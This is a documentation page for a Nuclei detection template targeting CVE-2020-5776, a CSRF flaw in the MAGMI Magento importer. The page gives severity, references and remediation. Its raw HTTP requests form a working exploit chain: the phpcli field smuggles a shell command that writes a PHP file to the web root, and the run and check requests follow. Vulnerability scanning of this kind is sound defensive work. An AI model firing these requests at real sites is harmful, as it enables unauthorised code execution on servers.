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MAGMI - Cross-Site Request Forgery

ID: CVE-2020-5776

Severity: high

Author: dwisiswant0

Tags: cve,cve2020,magmi,magento,tenable,magmi_project

Description

Section titled “Description”

MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.

YAML Source

Section titled “YAML Source”
id: CVE-2020-5776


info:
  name: MAGMI - Cross-Site Request Forgery
  author: dwisiswant0
  severity: high
  description: MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform unauthorized actions on behalf of the victim user.
  remediation: |
    Implement CSRF protection mechanisms such as anti-CSRF tokens and referer validation.
  reference:
    - https://www.tenable.com/security/research/tra-2020-51
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5776
    - https://github.com/sobinge/nuclei-templates
    - https://github.com/404notf0und/CVE-Flow
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-5776
    cwe-id: CWE-352
    epss-score: 0.42595
    epss-percentile: 0.97329
    cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: magmi_project
    product: magmi
    shodan-query:
      - http.component:"Magento"
      - http.component:"magento"
  tags: cve,cve2020,magmi,magento,tenable,magmi_project


http:
  - raw:
      - |
        POST /magmi/web/magmi_saveprofile.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close


        profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses=
      - |
        POST /magmi/web/magmi_run.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Connection: close


        engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update
      - |
        GET /magmi/web/info.php HTTP/1.1
        Host: {{Hostname}}
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dca427b5ca25196d74983d6dd585e84304aa8d60d2cc233e2fb321b93ec8c3450220093483dc4de7a24e609eb5d07073fae7eaeeb047ad96bb0829220ccc996d5834:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-5776.yaml"

View on Github